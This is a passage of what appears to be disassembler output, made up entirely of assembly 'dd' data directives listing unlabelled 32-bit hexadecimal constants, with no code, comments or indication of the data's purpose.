		dd 0C47C5749h, 9E5F5EF2h, 1E7F9D21h, 4AAF98CAh,	0C1C623F3h
		dd 0D96806C8h, 7B2D034Fh, 20136246h, 0FCB73840h, 16681D05h
		dd 0D17C8D0Dh, 4D307AE3h, 0A93CB3E9h, 0C3F7C6BDh, 60CF78DCh
		dd 2BEEF2F7h, 4FA2E9Ah,	0D241595Ch, 54DAC906h, 0DFC907D9h
		dd 636E9B2Bh, 628605C1h, 20FEF0BFh, 5976E4C4h, 0ADF1734Ah
		dd 0F87687D9h, 0E9160852h, 0C056E49Bh, 2CC0014Ch, 0BD814551h
		dd 0A59CFBABh, 0B920EFF1h, 0F592FEFAh, 2FF5BF00h, 285C9924h
		dd 0AF6B4300h, 9168E93Eh, 0F0C30017h, 31D55F59h, 383C2396h
		dd 2AEF5E43h, 9EAA4EB5h, 842C2F25h, 84AF88E9h, 9954AD2Dh
		dd 2F07F9C4h, 0A8F5B4DFh, 387430B0h, 24DDC280h,	193ED2F6h
		dd 7A6C8985h, 44853B37h, 47D84BE8h, 924A02E9h, 0ED05A8E2h
		dd 989D945h, 76D4DAD9h,	9D60BDCFh, 5F4C915Fh, 0BE000278h
		dd 6EE43E3Ah, 60BFC683h, 3412C9BDh, 0A026587Ch,	58955D66h
		dd 0B1D22C20h, 59CF0CAFh, 33F9FE08h, 0D5022DA5h, 2DE141AFh
		dd 61E974BCh, 72D73B49h, 97092A0h, 0F05F765Ch, 13943D5Eh
		dd 2C7F5980h, 83A5E935h, 0A488CD95h, 0EAE941D9h, 3C403316h
		dd 0D64CAD56h, 59028342h, 0BE991E1Dh, 310D8A03h, 3F097FCEh
		dd 2E842417h, 0E802E0BFh, 2D156E65h, 8104FD94h,	1B4795Dh
		dd 0F5810207h, 1576D2C0h, 0BBC503F7h, 0AEDF5B70h, 41288C52h
		dd 78A00905h, 7C493F73h, 5035FD68h, 7C10E95Fh, 0ED504A9Ah
		dd 48E34DE9h, 3C2778EDh, 7F78A1h, 4018E85Ch, 1DE9EB31h
		dd 0AB2269h, 352181E0h,	34789D14h, 1CCCFD7Fh, 1254B695h
		dd 0EC428F15h, 0EFE502E0h, 6163B605h, 0B0720487h, 3810C99Eh
		dd 0D182219Ah, 0D50923BAh, 8F206B64h, 0E68904D2h, 0FF1D5A68h
		dd 0E90A038Bh, 0BBA38D17h, 6250324h, 1C900206h,	11BFA776h
		dd 0CDFC5C14h, 0BD0C1876h, 0DE3ABA51h, 50B72878h, 270D906Eh
		dd 0BC3B5A30h, 0F7CA85DAh, 4B80FDDh, 44FBFAE4h,	0A65E8FDh
		dd 531ADA21h, 0B7625573h, 30CFEFC1h, 1A05C561h,	1094027h
		dd 5808BD50h, 51892F72h, 0DCFB2DE3h, 0EE07E9C1h, 800CE533h
		dd 150618EBh, 0EB62529Dh, 0E912CC3Dh, 0FF718571h, 0E92EC93Dh
		dd 0FA177E73h, 4C14525Fh, 0BEE9842Ah, 0B60328ECh, 5AF78818h
		dd 0EFC0CFC0h, 0DE2F027Fh, 0BFFAC658h, 529631C5h, 0D0857909h
		dd 2DD49957h, 26A617D5h, 42B9975Fh, 759868E0h, 2BCBB5Dh
		dd 747CBA7Fh, 7A7F2949h, 68580988h, 8FC3BEFh, 760CD660h
		dd 95AB07Fh, 13DA41BEh,	19234D81h, 0B89E40EAh, 1B047D33h
		dd 58C22173h, 74DA6D82h, 0CF0304FEh, 0BCF4C722h, 0A801CEB7h
		dd 0D106BC32h, 0D7C64EEEh, 3282FB45h, 0E064630Ah, 0C5E8431h
		dd 9CE9151Fh, 56035AD9h, 243ACBEh, 3DD4E150h, 3040992Eh
		dd 44B05616h, 0B07C5502h, 0C8C2E916h, 94F90954h, 0C541643Ah
		dd 670FB3F9h, 0ABC2115Eh, 0BDC781Ch, 59B41F7Ch,	0DC1E98FDh
		dd 4A5E1822h, 251AEC4Eh, 10E31B48h, 2F4C090Dh, 3A84172Dh
		dd 689AEF5Eh, 0C5F7B469h, 26988917h, 62723A56h,	0B0BE51DEh
		dd 0D08CE953h, 158E4C2h, 0F657DDEh, 5070DC27h, 3060A9E9h
		dd 4D5DE267h, 0BD354B3Dh, 1AE9C579h, 0DD3471A1h, 9D248F7h
		dd 0E24EF900h, 7254E92Bh, 0A1C547C1h, 0C07AF4FDh, 407D7C9Dh
		dd 0E0C16905h, 80803507h, 5FE928A9h, 0BE1784CAh, 0C1A178FDh
		dd 0E44F2FD1h, 394C1006h, 0CE82F1Ah, 5D150BFFh,	4004A1A0h
		dd 0DF72F935h, 0C2010F14h, 0E0AE3E24h, 0F60CB06Ch, 0F7F1F4D8h
		dd 1EE158EAh, 0D46B151h, 2010DD67h, 0EB844110h,	9D68F9F4h
		dd 109FF53h, 7F2332F8h,	358199C5h, 70E210ECh, 25A19F2Bh
		dd 0E618E890h, 0B2F9006h, 570F0A98h, 18200CFDh,	8268BD04h
		dd 3F258734h, 18C36869h, 0E5F7990Fh, 0D60B88DDh, 105B9A1h
		dd 0CED4D8F7h, 65211742h, 0AFFD29h, 84BD5133h, 1A5BBE2Dh
		dd 2A0107EBh, 0E94F070Fh, 6657CF89h, 0E097B77Ch, 448E9A0Bh
		dd 0EFE6BDACh, 0F1826327h, 88EF926Bh, 209F7A79h, 83765060h
		dd 0FAE5957Eh, 7324A88h, 30685350h, 5B77C72Bh, 0F3814300h
		dd 734E386Dh, 95D87A89h, 84998A68h, 777CBE80h, 0BB0F5025h
		dd 0FF0DD278h, 0E291834Bh, 0F176574Dh, 186479C9h, 0EF05BF0Ch
		dd 3B4F797Ch, 90B03DA8h, 375B9519h, 0D8A19380h,	0BCC9CF8h
		dd 61F26ACFh, 0EC5EE6EFh, 2515509h, 0E3113A9Fh,	0D788EA6Ch
		dd 725AA327h, 7A098AC3h, 38230BFCh, 0B2F5746Fh,	0B97C7DDAh
		dd 54C010F3h, 0EA1C7F26h, 487C140Dh, 78EC7D9Dh,	29EA3F9Bh
		dd 0C5108927h, 25B86AB4h
		dd 65758D62h, 0A2C448Fh, 5B82AEDCh, 0DCDAF658h,	80D72888h
		dd 9434AE9Dh, 0CE0E62AEh, 9045A7F7h, 0CC602C82h, 106812A2h
		dd 0C4E0FC1Ah, 54015C23h, 2A1E41E9h, 0B9AE5124h, 0C1310B35h
		dd 671DFC58h, 32A8FF57h, 0F7814F00h, 0B8E67717h, 0E8B72000h
		dd 6514D6CFh, 51812048h, 0B4033836h, 0B9D80E26h, 40BED40h
		dd 0AC034E32h, 0C3F84F6Ah, 8A338CC4h, 0A3815E3Eh, 2D0025F4h
		dd 0F93A0743h, 8B08467h, 0F0BE068Eh, 3827EAE0h,	9EAE5432h
		dd 79694004h, 0C281E971h, 40305016h, 0FDA8FE1Dh, 80580881h
		dd 934D341Eh, 6B64E93Bh, 27DD1CDh, 6618D827h, 12210952h
		dd 48726597h, 0E509EC24h, 6F1F9468h, 0A2584FE0h, 372D0526h
		dd 73C3423Ch, 0E85F7FF1h, 776D7169h, 3D1FA41h, 21306654h
		dd 37CF59CAh, 7219D014h, 519F5142h, 549CEB1h, 54D09229h
		dd 0A1C096BDh, 530720A4h, 7E19CCF6h, 61AC4892h,	0DDDE6D35h
		dd 4F118585h, 51CD5FD3h, 3E766C5Bh, 9E38DDC7h, 0CBD1124Ch
		dd 0A7990BC2h, 20FFC62Bh, 8E41C521h, 0E93912D9h, 0AD3BE0DFh
		dd 7F2F0503h, 0E7563546h, 4FE93234h, 0ADBC2024h, 9EE2D2F4h
		dd 0A1197DCCh, 5E86D17h, 31B0FC5h, 4440B5C1h, 8B855B02h
		dd 3E6FB02h, 308CB106h,	0D540B4C8h, 0EF874E59h,	5F6709DCh
		dd 0DBE9B9CCh, 0D09D50C0h, 38E86E28h, 805940C4h, 0C980BDCBh
		dd 0F106DC73h, 3D3EE97Fh, 2EB780A3h, 5A272566h,	5816CC2h
		dd 70DC6CEAh, 0D41641Fh, 68829332h, 6EC74547h, 44D92630h
		dd 0C0C604Fh, 7E816F1h,	6221E917h, 178128AFh, 0B904FE92h
		dd 45AB2AB6h, 22012182h, 7C50F1E9h, 2018F29Dh, 0B790CBE7h
		dd 7141E027h, 0E572AFE3h, 6C69BB01h, 814B71CFh,	0B850C60h
		dd 0DE2946B2h, 16774B04h, 267401EAh, 6A1B9636h,	104F52B9h
		dd 945A0CABh, 0B7E87F8h, 5FD76EFDh, 7612AA4Bh, 27B8DEEAh
		dd 0F7600909h, 6C279F4Fh, 1E3420F5h, 274AF295h,	0FCF95451h
		dd 6855806Fh, 0EC1D5678h, 17E09D5Dh, 4A7D290Ch,	2FFDA98h
		dd 1DC65757h, 5A5B7BF8h, 0E9BCFEBCh, 0B1629424h, 60A1DDC9h
		dd 6C260368h, 0B5BADB76h, 5C330BFBh, 818BA5D9h,	4F047C65h
		dd 92DB220Ah, 0D1BBA166h, 16A5D333h, 99CAFE08h,	0B3C8977Eh
		dd 2827B04h, 0FFF3CED2h, 967734ABh, 0C268054Ah,	17C1345h
		dd 2133E590h, 0CDB0FB86h, 2262AB9h, 0A601FE20h,	89DAEF22h
		dd 0A9130205h, 4E403F65h, 5C0080F3h, 0D93164CEh, 0B2E607E9h
		dd 0FEC42F6Fh, 0F75406FFh, 0C201EC28h, 0FD30750Ch, 0F0A5F851h
		dd 15103578h, 7B85AAA0h, 1C581FE3h, 0FBD7E982h,	202BC657h
		dd 5897F5E6h, 0A565A0ADh, 24B6D215h, 0EE0BBE36h, 504DC1BDh
		dd 0C2BFBD3Eh, 0C653D3F7h, 0DEC15469h, 0F2889456h, 0E90DA75Fh
		dd 590B4DB4h, 6250065h,	1E2182FDh, 4CC39D61h, 6690CA0Bh
		dd 43308C98h, 0A3ED0A48h, 0D946F540h, 43B221Bh,	22D3F24h
		dd 0ED0BE912h, 12A7D3F6h, 0A8A9C555h, 21492C4Bh, 4181611Ah
		dd 857FD394h, 100FE66Eh, 5C251D87h, 0C558A2F6h,	0D85B81EEh
		dd 5A802A1Dh, 8E62FC1h,	9EE25701h, 5B23706Fh, 64F6017h
		dd 0BD584AAh, 0CAF45E08h, 0AE633573h, 0E1CF01C7h, 0ECDB4CA2h
		dd 209D3231h, 751B24C9h, 0F3293E1Ah, 0FC6EB893h, 0F6BAD398h
		dd 0FB0C9675h, 0B80A48h, 7DB369CCh, 33D16BAh, 87B9784Eh
		dd 0E9702427h, 0BB37335Fh, 0DB09E135h, 122F7387h, 83540652h
		dd 4D04194Eh, 5E4B1E3Eh, 0E95570BEh, 0A29D07D9h, 55D8ED63h
		dd 90B06C4Ch, 74F2D127h, 7DE26076h, 35016B4Fh, 60EE2F4Ch
		dd 0D1548DE9h, 56C3FDC1h, 66D8658Ah, 145F08CBh,	7D985C20h
		dd 8854C860h, 985A5801h, 95D57A04h, 0B1CA60D6h,	0E23AE9C1h
		dd 80DBD43Eh, 2122B174h, 0F6597625h, 0D3542F14h, 9A6BE970h
		dd 642C3966h, 0BF18DB5Ch, 0BD55611Ah, 2849310Ah, 1210C672h
		dd 82FAAC4Ah, 0F9632268h, 7E458854h, 156C843Eh,	0BDAC11D7h
		dd 0D82E3704h, 0E4B5EA67h, 4CD4FC20h, 63B403Ah,	0E998943Ch
		dd 0E7C0A39Ah, 3935074Ch, 7FEF8587h, 88C5FE30h,	0E77EF9F1h
		dd 563B8467h, 0A151AEDDh, 0A63FC832h, 0CB293C78h, 25261BBh
		dd 0EA558103h, 4D785D4Fh, 0DC3CA4EDh, 3B0C19DEh, 74AD5958h
		dd 0C9B2BBEAh, 605C78BFh, 5657536Dh, 5D0A64BEh,	0C2310226h
		dd 699142h, 283FC380h, 0EB75B598h, 0DD9806C9h, 1A410762h
		dd 200136C8h, 6BC1200Ch, 5DB1C295h, 0F030E440h,	4474DC82h
		dd 97D40106h, 1C2B17C8h, 0DF5EE50Eh, 93B086E5h,	0F1515EB1h
		dd 6AB16116h, 7FE4EDC2h, 0D003A759h, 0F20F6326h, 79CC7FFBh
		dd 5CB44CA0h, 0C161032Eh, 22A7EA40h, 0E9170895h, 281345B6h
		dd 18CFA307h, 0A4E7D50Bh, 33516887h, 0C045D709h, 0B2009D4Dh
		dd 7F5B25F5h, 0F1F63150h, 2CF7E90Dh, 14BF02D4h,	0D70D755Eh
		dd 0B90E4D2h, 5DC89A27h, 0C2DAD533h, 0A5BDB3D6h, 0B0835058h
		dd 52AC16E3h, 0E173E068h, 0F06E5741h, 2E6F3D52h, 76F4693Dh
		dd 28F8807Dh, 0DBF73F79h, 670259B8h, 2973FA47h,	0F3D040D3h
		dd 8C8F18A5h, 37872E4Ch, 0F82C0F2Eh, 127BE31Dh,	0A0107269h
		dd 1D2A13D4h, 0C43A5AF3h, 0CCE5264Ah, 29137227h, 9A04DD5Ah
		dd 0C25B0DC6h, 9F4820E0h, 718C5120h, 46487044h,	66B80766h
		dd 0CE606917h, 5AC945DFh, 140CB02Eh, 0BDB672BDh, 9CB06F0h
		dd 76F0F05h, 4AD63F15h,	0E5C2160Eh, 0D582BA38h,	0BADB48F9h
		dd 9A3312FEh, 73090118h, 61FFD126h, 0CBDF7453h,	0B75E333Eh
		dd 8F00C23h, 4CC1557Ch,	0B90F12E3h, 25692FDDh, 0F24CC982h
		dd 896B760Bh, 0D130809Ah, 0CAAA3E56h, 2B686BC0h, 0AD644E97h
		dd 93B02D3Ah, 755B1FE9h, 0E430A0E5h, 0CD7B18D7h, 78A07647h
		dd 44F8DBCh, 33FE5B4Eh,	58E46558h, 0F8FB120h, 6607B652h
		dd 0C8F587C9h, 2D6CB561h, 0DADCEE20h, 0C6309341h, 5AF10800h
		dd 7AD1F62Dh, 34286407h, 2C2F48Ah, 0B2B45000h, 0E9AAEC80h
		dd 615C4EE7h, 2ED38E1Ch, 9E26B48Bh, 5259976Ch, 0C02CF43Ch
		dd 4DAD4810h, 0BD09534Ch, 67858956h, 10D3AF6Ah,	5284ECF5h
		dd 0D016FBFDh, 0B3073232h, 0F5E261F5h, 52CFD26Fh, 0BB04ACD8h
		dd 4A2732A9h, 6597B80h,	0D374C25h, 21128A59h, 0D00EBD5h
		dd 6717326Dh, 5368BD31h, 8B26456Ch, 0F701F952h,	89DA2288h
		dd 0EB12122Eh, 8E68C930h, 1A86BB3Bh, 0B1039FC2h, 0D882B904h
		dd 0B209A6ECh, 2EA808Eh, 4C76D549h, 0BB920B0h, 574A6817h
		dd 0A15F2B3h, 5306087Ch, 0CCD48850h, 7C976D70h,	0D23CF14Dh
		dd 9435D35Fh, 0DD103C5Fh, 54582F65h, 0E8F2B912h, 5F3DFC9Fh
		dd 6879C84Ch, 7C44732Dh, 6D49CF4Ch, 3B906266h, 91638F09h
		dd 0EFC1000Fh, 0EC3FF360h, 2A401F2h, 8951CF9Eh,	0F70A2BD1h
		dd 0E906AA5Ah, 60474633h, 0B7644E7h, 0F8B03B92h, 2B3325Bh
		dd 961F9C7h, 0FAB46E5Fh, 5629E46h, 80A1C780h, 0CFFE06F6h
		dd 207310C1h, 76B2E9F9h, 4948413Eh, 5E1003C9h, 0D3006C54h
		dd 0E90CCF2Eh, 0D4BFD0A9h, 1B014F92h, 305E418Ch, 617C4DFEh
		dd 465465Ch, 640C1F0Ah,	17BC1DC5h, 0CA814203h, 0CE487D72h
		dd 5B35135Bh, 0D2F7A506h, 21710110h, 1BE96CC9h,	0EAB592C4h
		dd 7E9D95E8h, 0ECC1E7A5h, 9BF47E5Dh, 294B5B78h,	23916A62h
		dd 996E6798h, 3B7DE878h, 25006695h, 9E6862F1h, 0D3984907h
		dd 330E774h, 58CFD825h,	0F8114B34h, 0DD4E2667h,	0DC3863Ah
		dd 22722Ah, 12CB30D0h, 895EF129h, 50C9F8B1h, 0ED76B56Ch
		dd 5B195F7Ah, 0C5EC2EF5h
		dd 6BAA5976h, 3F826838h, 49592EC0h, 781FC0FFh, 285E3BCAh
		dd 4227EA25h, 0FBFA55E9h, 8F6AE0B5h, 74E90A7Bh,	3AD841Ch
		dd 180CE340h, 42C3541Bh, 4348D387h, 27464DBCh, 20CF652h
		dd 5979FC4Fh, 0FF9F580h, 72B765B3h, 2DAE676h, 4551473Eh
		dd 8EE811E9h, 632F9605h, 58C5DE01h, 18172068h, 6E707761h
		dd 0B558AFE9h, 0FC2010E6h, 0E4E4BD21h, 61D45F6Eh, 0E902BB0Fh
		dd 97019175h, 0FD4C555Ah, 0BA2DFC57h, 4FF8907Fh, 5AD1BC4Dh
		dd 0E0C869A0h, 4E5B98E8h, 2E6EB633h, 0FEA5638Dh, 9BD5FAF1h
		dd 0C600941h, 19DCC788h, 90CF8058h, 7AA4FFF5h, 0D0ED0CDBh
		dd 0EDFD9006h, 91EFE48Ah, 0B151CCE1h, 63E9350Ch, 9CB7B6Dh
		dd 441132ABh, 14FE780h,	4B605C95h, 0A879F61Ah, 0EB0EC15Eh
		dd 0EEC70E54h, 422D73DCh, 0DF830215h, 2DA0A5Dh,	7D223CEEh
		dd 13B3F1C0h, 8EC119C9h, 0EF6B12h, 2EE3B875h, 0F7271ED1h
		dd 79E22FD0h, 6008C37Bh, 0AE641384h, 0BD1F68A2h, 1D069A48h
		dd 0F47902FDh, 4214085Bh, 29D44353h, 0C21642h, 55109935h
		dd 4837E4Ch, 3126380Fh,	37C014C0h, 7B1948F6h, 415D3309h
		dd 8CC045Fh, 93E31C0h, 6906588Dh, 1F1C1006h, 27FD26Dh
		dd 2F7DEF05h, 0E2001318h, 0B0B665AAh, 5FFA1731h, 8335B001h
		dd 0BA090C40h, 57D82D75h, 0FD7269DEh, 2C18161h,	5D0AE252h
		dd 1067F602h, 5695BD00h, 846B489Eh, 0EA2A845Ah,	5F1206CEh
		dd 0F03C343Dh, 67122FF1h, 0D3AA554Bh, 594E68DDh, 0C43F36DDh
		dd 3C39EE10h, 0A5C1B82Fh, 2EBC08FBh, 2D7F709h, 51CB10Bh
		dd 0B59CAC5Ah, 0E8987EF2h, 5DBCFFB8h, 1AC9FF49h, 858A5735h
		dd 0C4C0C013h, 2871C680h, 2C5AF012h, 0FDD8EA0Fh, 4EC3C39h
		dd 0DE12E913h, 4706DC91h, 0A0C5307Bh, 7E4BD70Bh, 43CDCAC1h
		dd 16BA7CECh, 4E01D0Dh,	1A2DCEh, 2777CF81h, 536F0031h
		dd 0CA0C48BBh, 0DF31010Eh, 4AB8E65Bh, 93C63A3Ch, 0EE783B1Dh
		dd 4C0F2B09h, 78885F29h, 0E7812508h, 0FEF843C7h, 0D8EEFAF7h
		dd 5251C11h, 0D24F4828h, 98612420h, 0D91A5C58h,	0E4906920h
		dd 8902C041h, 894D7477h, 0CCF5D366h, 9705BC79h,	5A5DC3A8h
		dd 349D0285h, 0A3418805h, 5D378E9Dh, 40D1ABF7h,	2F10E2BAh
		dd 0BCF414F4h, 1FE9F54Bh, 2D16643Bh, 10B3761h, 0EF2B58C7h
		dd 9C388A6Ch, 173D26ADh, 0BD10FC56h, 0B24D717Eh, 52606EBh
		dd 22B82DF0h, 37A3FF58h, 0CB162D94h, 0BCC9EBDCh, 0FC736EC1h
		dd 6BB2520Ah, 0E08513B1h, 714B46EDh, 6809B5A6h,	241B5A83h
		dd 52D1B304h, 9782720Bh, 0E90782EFh, 7A1D2FAh, 5D6F2AF7h
		dd 2708B242h, 543C6984h, 4ED6012Ch, 0D929507Dh,	4C72CB3Eh
		dd 93271898h, 82139E5Ah, 0E0E6E560h, 7EF48080h,	0F50225AFh
		dd 5D0EB2D5h, 0A4E4BA2h, 19C0EA20h, 564D3EB5h, 4C80BB2Dh
		dd 0C438D2B9h, 3804125Ch, 553AA442h, 1BE2F102h,	603E4057h
		dd 0F7BCA8E6h, 7DB31391h, 1084EC83h, 0D5021F2h,	4934128Ch
		dd 27B2EA3Dh, 0BC1A9413h, 0F4B2E584h, 0A5018F90h, 0F775D071h
		dd 5E9140D1h, 8A582F8Eh, 34BF923Eh, 48F2BACDh, 0D7885380h
		dd 554ADEE9h, 40BBF835h, 7842BB32h, 9BFF92Dh, 84E77654h
		dd 0D8367468h, 7172A17h, 0CB016B44h, 15B964B3h,	0B6E46870h
		dd 27F9B89Ch, 0F0C11F2Ah, 0ED093B5Bh, 0FA3C065Eh, 2D61A571h
		dd 0C344DA7Eh, 71F5B4C5h, 422BAB3Eh, 5618E917h,	0D650ADE8h
		dd 0BB9A841h, 0B03F0D80h, 7AE116FBh, 0F9B411EDh, 0C3E413B2h
		dd 201E6DEEh, 2AE15BF3h, 6D73CB9h, 3558BF7Ch, 2F8A7B2h
		dd 0A8907EE0h, 58210A44h, 4F7A5F6Fh, 306A0170h,	0CD805AF5h
		dd 60BCF4CAh, 0B6A77AE1h, 4E138738h, 38F0734h, 0C0709478h
		dd 0EC3E969Bh, 7C84324Eh, 68B4B4AEh, 0F1785AA2h, 0E26E0809h
		dd 65010632h, 7CF52B23h, 6B1900F5h, 39E96D72h, 0AC1DF294h
		dd 763BD589h, 1BE2B603h, 0B72CCD90h, 54676019h,	0CB5314F5h
		dd 0A2C94C1Dh, 90FFDC7Dh, 80DA50DBh, 7F25D99Ch,	789260E5h
		dd 89EEB120h, 3711926h,	3A021853h, 74B87A2h, 0D7DD87B1h
		dd 3857E93Dh, 4A4068A6h, 15D3B37Eh, 10E1121Dh, 5025359h
		dd 419D1999h, 0C4E255h,	2E685F07h, 302FCB55h, 6DB78758h
		dd 0C434911Fh, 0C224B850h, 7BF5586Fh, 0F9652DBCh, 0FB2F9289h
		dd 3680B65h, 132FA52h, 1CC33F48h, 0C66CF929h, 72B5D4A7h
		dd 5124D85Dh, 0BC2AE997h, 0FEE9E04Eh, 6D989F72h, 312D75BCh
		dd 52D18005h, 98A45BAh,	3CE9FACEh, 2466E9DDh, 3FBCDF01h
		dd 0AC5FC9A7h, 37C0840Ah, 0E706E9BDh, 0C354F15h, 0F49BFE09h
		dd 8C1BD8A0h, 4AD3B0A1h, 4A27B3D5h, 855F27EDh, 828BEBD9h
		dd 68565100h, 168B3C50h, 0BB2A5E76h, 0BD017A52h, 42062B3Eh
		dd 0E47AD5F7h, 0BBF587Ch, 7919779Eh, 20308781h,	5F8BC108h
		dd 0E25AA016h, 0CE68AF04h, 7A6E60AAh, 62F3E64h,	0DE4F625Eh
		dd 5BDEC21Fh, 30B44D57h, 9B7267C0h, 452D8B90h, 694CD308h
		dd 2C35BE80h, 0D0A22DF6h, 8AA4A95Eh, 1FBD1EB1h,	0C72060F2h
		dd 237B1631h, 3E7AF04Eh, 0C83BB0B9h, 0BD5313D0h, 73B428FBh
		dd 2568C840h, 25DE6B94h, 0D912E2h, 3E50D59h, 5052074h
		dd 0C2DFB417h, 0A1478CCBh, 8E575871h, 20B6EBD2h, 77BBB710h
		dd 584027B0h, 935F5859h, 62084A05h, 0BAD9803Fh,	0C05A9DF7h
		dd 0E9088BE2h, 0B50E1AF0h, 0C325E5B1h, 87478CFEh, 3DBA05F5h
		dd 1A993FB3h, 0A6C5132Ah, 35AF97F2h, 9AC8AFB4h,	0FC899D60h
		dd 51ADD640h, 12D5BB80h, 5A07AF0Ah, 8A085678h, 0D92102D2h
		dd 527888E9h, 4639BB79h, 0F7B84BF5h, 5895525h, 73083A5Dh
		dd 9477A501h, 273DF88Dh, 1F140A8h, 1803A648h, 0E24C9F74h
		dd 0CDC4C0E1h, 9BDB864h, 0CB660DFh, 0A4DDE884h,	2204453Bh
		dd 435A192Fh, 0E90E81EBh, 0BB1D7ABEh, 2CFE0213h, 2E5BE98Fh
		dd 6B14B716h, 10D004F2h, 0F1C31201h, 49ABBD2Bh,	0C0A1A8B9h
		dd 2607A168h, 50C117DCh, 2E5E181h, 93FE003Eh, 552C0A26h
		dd 0FFC5892Fh, 0EDE0AF07h, 5740043Ah, 9E2EF8EAh, 2109BA10h
		dd 586359CEh, 9E1853B1h, 0F420A38Eh, 22343C9Ah,	98C0ECA5h
		dd 9383F2Dh, 0BD05822Fh, 55EB944Dh, 6A892481h, 40EA3E38h
		dd 76EEB999h, 84B40FD5h, 0AB0A5328h, 81220B67h,	7A7C1941h
		dd 40FA21C9h, 14A7E192h, 0BE2E496Dh, 406BFD01h,	7FCE890Ch
		dd 0E95ED923h, 0DDC2114Bh, 9E209E73h, 77A16D59h, 4812B80Fh
		dd 0F8EF3E32h, 64DE9F5Bh, 76BFB5Bh, 0BF57514Fh,	815D20Bh
		dd 5C5A3CE0h, 31B063F4h, 3B21794Fh, 0C86BCEBDh,	12489FF3h
		dd 7B63B1ECh, 37B78004h, 31265EF1h, 0C51C7BDDh,	4C097200h
		dd 0BE1961E9h, 0DC02EB6Dh, 0BB00564Dh, 7A9A1ADCh, 5C64275Fh
		dd 15E57266h, 4C50E416h, 0D3B41081h, 0EBCCEE4Eh, 2F9CB4ABh
		dd 3A0B1554h, 35F5BEDAh, 0B8E3C240h, 2FB30B42h,	4AAF7788h
		dd 0E4060679h, 4E985AD4h, 8E558648h, 62DDE5E7h,	6B12C1E3h
		dd 440B3BFh, 5AC3A75h, 44F4B1EFh, 1EF53B4h, 494AA587h
		dd 0AEC42FCEh, 8C09B4FAh, 0B2C78804h, 0A8BFF101h, 0CC59E26Bh
		dd 2CD322BDh, 0F3A8134Eh, 0F450E85Bh, 98686ED1h, 0E968D87Fh
		dd 0CF84A74Ah, 4C96C2EBh, 0EB61FE8h, 9630D0BDh,	0FDF717A1h
		dd 39BB4A3Ah, 0BDE66F10h, 0D303AD4Dh, 0E90F475Fh, 134EBE85h
		dd 35085E57h, 0BF62D77h, 9C1E6703h, 0D832E230h,	7708A19Dh
		dd 38D157E2h, 48E37897h, 863C0307h, 0B72DD64Eh,	165823B5h
		dd 0AD3A28ECh, 467D01ACh
		dd 0B6685006h, 38383649h, 36D7931Eh, 0CCD120BAh, 1F589A2Dh
		dd 2CCA1CB4h, 0F200D664h, 616429EFh, 1E7E4AE9h,	4EA2483h
		dd 0FF59C821h, 0C30E784Ah, 52287741h, 55822C6Bh, 0A385012h
		dd 26319402h, 4DC04137h, 0BE14E5EAh, 0AB19C134h, 0E9095ADBh
		dd 0D175DF29h, 4FD3094Eh, 31745648h, 94DDA13h, 0F5816300h
		dd 5F7B3ACEh, 0F6C8A161h, 73FA0C68h, 810B4401h,	0E10975F7h
		dd 0B1CFC081h, 2B6E3B15h, 4FDF50C0h, 0E93313D0h, 0AED0C53Dh
		dd 4E1CDDA0h, 0C4AB9062h, 0DD52FC60h, 0E32DC8h,	0AE055D24h
		dd 95142EE8h, 88B04F0h,	84BCEE58h, 0C4CBE9CFh, 347DB752h
		dd 8306EB0Dh, 71CC12EEh, 32787E49h, 0F586F721h,	0BB46B703h
		dd 0E2955A4Eh, 40F2D02h, 3DF25494h, 631D6882h, 137E4757h
		dd 94F9B0CBh, 44A36900h, 5C967005h, 11E927BBh, 0DC74C762h
		dd 0D6BAA97Ah, 0CC58E906h, 4DA17A18h, 912960Ch,	0D101025Dh
		dd 3408F608h, 0EB14120Ch, 4F19FF8Eh, 0F55B5429h, 6F8CE1C3h
		dd 13B87012h, 28C64B20h, 718EA0Dh, 7A793EBAh, 0A01A340h
		dd 0F0783D70h, 0C43D7825h, 0EA21584Dh, 1107EE4Fh, 750946B3h
		dd 50259AD1h, 3E5C9D95h, 74802BDAh, 107BC2CFh, 0B989704Eh
		dd 39F61620h, 25A84FE8h, 4E9B028Fh, 0F9012E99h,	1C340808h
		dd 0F652141Dh, 535C5C81h, 6F0FD740h, 890A2882h,	8145728Bh
		dd 27EDAC0h, 3002B703h,	0F4C1B4F9h, 0AEF758EAh,	0D12126A7h
		dd 769942E8h, 0F1AE0479h, 0F28D680Fh, 0EF4EDBB3h, 7B01AE13h
		dd 1321FDEDh, 0F118E3C2h, 0FD8C5A56h, 81A7B645h, 3FE5EB09h
		dd 0FA5E02F0h, 14505BAh, 300674A2h, 127172F3h, 0D4FD2527h
		dd 0B9F8F2C9h, 7DD207B4h, 14F83809h, 2D806597h,	0A5166073h
		dd 0FFAD8E82h, 3DFA08B2h, 46952D1Fh, 75E14F39h,	565B0701h
		dd 16889030h, 0AC59A963h, 59348DBh, 501B49E0h, 110B4E8h
		dd 7552C47h, 9B4F1082h,	20927465h, 0F65D4A07h, 7F0A7D18h
		dd 97E0F8B8h, 8A00AD1Ch, 68CB291Ah, 0D871495Ah,	304C0F90h
		dd 8E7CC127h, 2A011459h, 78C20438h, 0BD815842h,	71E26CDCh
		dd 0B65201B5h, 0CE5E043h, 0F212C695h, 484B788h,	3457EBB8h
		dd 0BC520E1Fh, 67C092C4h, 2409301Bh, 25A6290Ah,	513FE9F5h
		dd 0E12080BEh, 3561C09Dh, 0C9211263h, 9D5A45A8h, 1635FEC6h
		dd 223EA4BAh, 775A9FC9h, 85D9D64Bh, 8DD22F64h, 77604A3Ch
		dd 1EB511Ch, 0BB056C5Ch, 2F6836A4h, 1ED943A8h, 25E086BCh
		dd 403013BEh, 0C301296Eh, 69C0BD55h, 6D2C0B2Ch,	0B53C5283h
		dd 134668B0h, 4483469Fh, 1060E92Ch, 814A581Bh, 67CB09EAh
		dd 1A0020F1h, 0B3461809h, 77FE050Eh, 0D001E2C5h, 77078B2Dh
		dd 0C72AEAB3h, 0BD80CDEAh, 0CDBE3913h, 48025EA6h, 0E2356DE3h
		dd 76B9F0D3h, 0BA382D53h, 3C503D20h, 0A8B048B6h, 0E9C5E89Fh
		dd 1A29A2Eh, 0CE62F3BFh, 0F0FD096Ch, 0BAB513EEh, 1316F5D0h
		dd 7D58C2BDh, 5BA74651h, 98E9E100h, 59CB815Bh, 3AB76866h
		dd 5FE8DAD2h, 0BE5585CBh, 4E4BF638h, 0B27177F2h, 0E575CA08h
		dd 5710AD80h, 93C0524Bh, 356FAFF3h, 0FB437139h,	0E27AFBD5h
		dd 0A8CF029Ch, 608922AAh, 0E1094C57h, 9C86E96Ah, 926F1315h
